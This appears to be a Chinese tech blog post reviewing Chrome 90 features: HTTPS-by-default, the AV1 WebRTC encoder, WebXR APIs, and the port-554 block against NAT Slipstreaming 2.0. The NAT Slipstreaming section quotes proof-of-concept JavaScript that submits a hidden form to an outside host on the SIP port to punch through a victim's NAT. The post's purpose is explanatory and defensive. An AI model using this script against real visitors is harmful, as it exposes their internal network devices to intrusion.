作者 | 寒雁Talk
4月13日正式釋出的Chrome 90，帶來了哪些有意思的新特性呢？
TL;TR
- Chrome 90是哪天釋出的？2021-04-13
- Chrome 90更新了多少個特性？23個，具體有哪些特性可以檢視Chrome Platform Status
- Chrome 90将使用哪個版本的V8引擎？v9.0
- Chrome 90最大的亮點是什麼？預設使用HTTPS協定，其實是非常小的改動，但是還是蠻重要的，HTTP裸奔的時代終于快要結束了，可惜這個特性還在灰階沒有完全釋出
- 我感興趣的新特性依次有哪些？
- A safer default for navigation: HTTPS
- AV1 Encoder
- WebXR Depth API和WebXR AR Lighting Estimation
- Feature: Block HTTP port 554
- 你感興趣的新特性依次有哪些？這個我就不知道了啊，歡迎留言評論！
詳細解讀
在浏覽器位址欄輸入URL，然後回車，之後發生了什麼？這是一個非常經典的面試題。
Chrome 90開始，将會預設使用HTTPS協定打開URL，讓這個面試題的答案變了一點點。
當我們輸入example.com，Chrome 90之前的版本會預設通路
http://example.com，服務端如果配置了重定向，則會重定向到
https://example.com；而Chrome 90會預設通路
。
眼見為實，不妨簡單測試一下（果然翻車了）。PS：測試之前需要清除浏覽資料，否則Chrome第二次通路時會預設使用HTTPS。
當我使用Chrome 89打開kiwenlau.com時，會發現第一個請求使用的是HTTP協定（
http://kiwenlau.com/），傳回狀态301，重定向到
https://kiwenlau.com/，之後所有的請求使用的都是HTTPS協定：
當我使用Chrome 90打開kiwenlau.com時，會發現第一個請求居然使用的依然還是是HTTP協定（
），而不是HTTPS協定，這就很尴尬了：
我本來以為這是BUG，于是提了一個issue：
- Issue 1200048: Chrome 90 does not use https by defaut
根據回複，Chrome團隊還在對這個特性進行灰階，如果希望開啟這個特性，可以到chrome://flags把#omnibox-default-typed-navigations-to-https設為"Enabled"：
嚴格來講，隻有第一次通路kiwenlau.com的第一個請求使用了HTTP協定，貌似也沒什麼大不了的。不過，要知道HTTP協定本身是明文傳輸的（其實HTTP/2也沒有要求非得加密，隻是所有的浏覽器都要求HTTP/2必須加密，這樣的話，隻有HTTPS才能更新HTTP/2），這意味着網絡中每一個節點都是能檢視并且篡改HTTP的通信内容，這也是頁面劫持的基本原理，想想是不是有點後怕，尤其對于那些喜歡通路奇奇怪怪網站的同學來說。
如果使用Charles抓包來對比一下，可以發現，對于HTTP請求，Contents是明文：
對于HTTPS請求，Content是加密後的，看起來是亂碼：
當然，對于支援HTTPS的站點，省去了HTTP到HTTPS重定向這一步，也是可以提高通路性能的，不過這個問題倒是其次的，畢竟隻有一個HTTP請求，而且很多網站本來就很慢了，不在乎這幾十毫秒。。。
Chrome一直在推進HTTPS協定在業界的應用，關于這一點，我之後寫一篇部落格詳述（挖坑）。
AV1的全稱為AOMedia Video 1，是一個開源、免費的視訊編碼格式，編碼效率更高。根據Netflix、Facebook的資料，AV1相對于VP9，可以将壓縮效率提升20% ~ 30%左右。愛奇藝也在去年啟用了AV1格式，可以節省20%的帶寬。Youtube最新定制的視訊晶片（VCU，Video Coding Unit）Argos也支援了AV1。
對于視訊類應用來說，昂貴寬帶費用一直是非常沉重的負擔，這也是一些知名長視訊網站一直無法盈利的關鍵原因之一（另外一個關鍵原因是内容成本）。根據愛奇藝最新的2020年财報，其2020年淨虧損70億人民币，其中帶寬開支高達24億人民币，占了虧損的34.3%。對于視訊類應用來說，使用AV1這種更高效的視訊編碼格式，有利于減少寬帶費用。
WebRTC的全稱為Web Real-Time Communication，用于在Web應用中實作實時的視訊和語音通信。其實WebRTC已經是個已經有10年曆史的技術了，疫情的爆發促進了視訊會議需求的爆發，使得WebRTC變得更加重要了。
Chrome 90支援了AV1 Encoder，用于優化WebRTC視訊通信：提升壓縮效率，減少帶寬使用；支援30kbps以及更低碼率的視訊，服務低帶寬的使用者；優化了螢幕共享效率。
疫情在全球範圍内爆發已經1年多了，這極大地增強了使用者對于視訊會議、直播的需求，AV1 Encoder這樣的技術進步也可以幫助大家渡過現在的難關，這也是技術最大的意義。
AV1是由AOMedia（Alliance for Open Media）開發的，旨在取代Google開發的VP9，同時與需要收取專利費的H.263展開競争。AOMedia其實也不是外人，Google是其核心成員，且AV1也是由Google主導開發的。作為程式員，不得不服Google對于技術進步推進是全方位的，哪裡都能看到它的身影。關于Google是如何推進視訊編碼格式技術的進步，這又是另外一個話題了，我之後寫一篇部落格詳述（再次挖坑）。
對于使用WebRTC開發Web視訊會議應用的同學，不妨試用一下AV1 Encoder，也可以給大家分享一下到底效果怎麼樣。
WebXR Depth API和WebXR AR Lighting Estimation都是WebXR相關的特性更新，WebXR Depth API可以用來擷取使用者的裝置與現實環境中物體的距離，WebXR AR Lighting Estimation可以用來擷取環境的光線情況。
估計絕大部分人都沒用過WebXR，是以還是先了解一下WebXR是啥...
WebXR其實就是在Web上開發AR（Augmented Reality）和VR（Virtual Reality）應用的API，AR和VR都是以字母R結尾，是以就取了個XR的名字。
在WebXR Experiments，有一些WebXR的示例，可以讓大家實際感受一下WebXR能幹嘛。
比如，Sodar就可以用來測量2m社交距離：
還有一個沒有正式釋出的示例Picturescape，看起來還挺有意思的，不過沒太看懂具體是做什麼的，等正式釋出之後可以再看看：
從WebXR的示例來看，目前WebXR所實作的應用還比較簡單，畢竟VR和AR技術本身目前的應用也比較簡單粗糙。我最感興趣的還是其在遊戲領域的應用，《頭号玩家》中的遊戲體驗什麼時候可以實作呢？拭目以待！
Chrome 90屏蔽了554端口，這是為了緩解NAT Slipstream 2.0攻擊。注意，這裡用的詞是緩解而不是解決，Chrome沒法從根本上阻止NAT Slipstream 2.0攻擊。
NAT Slipstream是去年10月底由Samy Kamkar發現的一種非常巧妙也非常危險的攻擊方式，後來他又與Armis研究員Ben Seri和Gregory Vishnipolsky發現了新一版的NAT Slipstream 2.0的攻擊方式。
簡單來說，受害者隻需要通路黑客的網站，該網站嵌入了黑客的JavaScript腳本，黑客就可以繞開受害者所在的區域網路的防火牆，通路受害者所在的區域網路中的任意TCP/UDP服務。
大家不妨通過NAT Slipstreaming 2.0 - Enterprise Network Bypass這個視訊感受一下整個攻擊流程是怎樣的。
點選檢視視訊
受害者位于區域網路中，區域網路中連接配接的裝置有受害者的智能手機、列印機、網絡攝像頭、列印機以及路由器，理論上區域網路中的裝置都是受到防火牆的保護的。而黑客位于Internet中，理論上是無法繞過防火牆直接通路區域網路中的裝置，比如列印機和網絡攝像頭。
受害者使用智能手機通路了黑客所提供的連結，攻擊者成功繞過防火牆，擷取列印機和網絡攝像頭的通路位址，遠端給列印機發送列印任務，并且通過預設的賬戶密碼遠端通路網絡攝像頭。
如果你家的攝像頭可以被黑客檢視，是不是很可怕，趕緊把預設密碼改了吧！
當然，如果列印機和網絡攝像頭都設定了比較嚴格的密碼的話，攻擊者也是沒法通路它們的。是以，區域網路中的裝置也是必須做好安全防範的。但是這并不是重點，重點是攻擊者繞過了防火牆，這又是怎麼做到的呢？
Samy Kamkar的原文很長，所涉及的技術細節非常多，其實最關鍵的就是以下這段JavaScript代碼：
// our sip message
var sipmsg = 'REGISTER sip:samy.pl;transport=TCP SIP/2.0\r\n' +
'Contact: <sip:[email protected]:1234;transport=TCP>\r\n\r\n'
// load form in an iframe so user doesn't see it
var iframe = document.createElement('iframe')
iframe.name = 'iframe'
iframe.style.display = 'none' // hide the iframe
// create form
var form = document.createElement('form')
form.setAttribute('target', 'iframe') // load into iframe
form.setAttribute('method', 'POST') // need the POST area where we can add CRLFs
form.setAttribute('action', 'http://samy.pl:5060') // "http" server on SIP port 5060
form.setAttribute('enctype', 'multipart/form-data') // ensure our data doesn't get encoded
var textarea = document.createElement('textarea')
textarea.setAttribute('name', 'textname') // required
textarea.innerHTML = sipmsg
form.appendChild(textarea)
document.body.appendChild(iframe)
document.body.appendChild(form)
form.submit() 這段代碼，其實就是發送了一個特殊定制的POST請求，而這個POST請求由于體積過大，會被分成多個TCP包。從代碼中可知，這些TCP包所請求的端口是5060，這恰好是SIP協定所使用的端口。黑客可以通過定制POST請求的大小來控制TCP包，讓其中一個TCP包恰好會被NAT裝置了解為SIP REGISTER包，NAT裝置的ALG（Application Level Gateway）看到這個包，則會為黑客打開一個公網端口，并且轉發到黑客所需要通路的内網TCP服務，代碼中為192.168.0.109:1234。這樣，黑客就可以通過NAT上的公網端口來通路内網服務192.168.0.109:1234。NAT裝置則傻傻地幫黑客轉發請求。
這種攻擊方式非常有創意，涉及的技術細節非常多，我之後寫一篇部落格詳細解釋一下（又挖了一個坑）。當然，這種攻擊方式也非常危險，Samy Kamkar真是個天才，還好他是白帽黑客。
Chrome屏蔽端口這種做法其實也是治标不治本，黑客确實沒辦法給所屏蔽端口發送請求了，但是如果受害者不更新浏覽器的話，還是會被攻擊。要從根本上解決這個問題，還是需要NAT裝置尤其是ALG以及防火牆來想辦法。
物聯網時代，家裡聯網的裝置越來越多了，作為使用者，我們還是需要做好保護措施：
更新最新的Chrome浏覽器；
加強區域網路裝置的安全保護措施，比如設定更加嚴格的密碼；
如果不需要的話，關閉NAT裝置的ALG（Application Level Gateway）功能；
避免通路未知的URL；
當然，你也可以選擇斷網，哈哈:(
總結
在我看來，Chrome 90最重要的更新，是預設使用HTTPS協定，其實是非常小的改動，但是還是蠻重要的。可惜這個特性還在灰階釋出過程中，并沒有真正釋出。HTTP裸奔的時代終于快要結束了，站在現在的角度去看過去，一想到以前Web居然是基于明文傳輸協定的，感覺那是一個刀耕火種的時代。當然，那也是一個偉大的時代，Web的誕生本身就是一件改變人類文明的事情，我們都是幸運地站在巨人的肩膀上。如果未來量子計算機把RSA給破解了，現在的HTTPS也是裸奔。
另外，本文還介紹了AV1、WebXR以及NAT Slipstreaming相關的特性，我把重點放在了背景知識的介紹，這是因為這些特性本身對絕大多數開發者都用不到，并沒有什麼價值，且比較枯燥無味，不過這些關于這些特性的背景知識還是需要了解一下的，可以幫助我們更加全面的了解大前端的各個知識點以及應用場景。
我在文章後面列了非常多的參考資料，這是我讀研的時候寫論文養成的習慣，隻要我有參考過的資料，我都會列出來，這個其實主要是為了友善我自己以後查閱，其次是分享給感興趣的讀者。其中，有一些高品質的内容我把字型加粗了，不妨重點關注一下。
在寫作的過程中，我也發現了3個比較有意思的話題，是可以深入展開的，第1點是關于Chrome對于HTTPS技術推廣所做的事情，第2點是關于Google推動視訊編碼技術進步所做的貢獻，第3點是NAT Slipstreaming，後面我也會分别寫部落格介紹，歡迎與我交流：[email protected] 。
參考資料
- Chrome 90 Beta: AV1 Encoder for WebRTC, New Origin Trials, and More
- New in Chrome 90: Overflow Clip, Permissions Policy, the Declarative Shadow DOM, and more!
- Chrome 90 will use HTTPS (port 443) by Default - Let us discuss
- 了不起的Chrome浏覽器：Chrome 89開啟Web應用的物聯網時代
- Real time communication with WebRTC
- Get Started with WebRTC
- Google supercharges YouTube with a custom video chip
- Netflix Now Streaming AV1 on Android
- Facebook turns on AV1 technology to speed up video streaming
- 愛奇藝成為國内首家啟用AV1格式的視訊網站 同畫質播放節省超20%流量
- 新一代AV1編碼格式，H.265的最大對手來了
- WebXR Experiments
- Experiment with AR and VR made for the web
- NAT Slipstreaming v2.0
- NAT Slipstreaming v2.0: New Attack Variant Can Expose All Internal Network Devices to The Internet
- NAT Slipstreaming 2.0 - Enterprise Network Bypass
- A New Attack Allows Access to any TCP/UDP service on a Machine behind NAT - NAT Slipstreaming
- Understanding Nat Slipstreaming
- Chrome 浏覽器将屏蔽 554 端口以阻止 NAT Slipstreaming 攻擊
- Chrome 屏蔽多個 TCP 端口，以阻止 NAT Slipstreaming 攻擊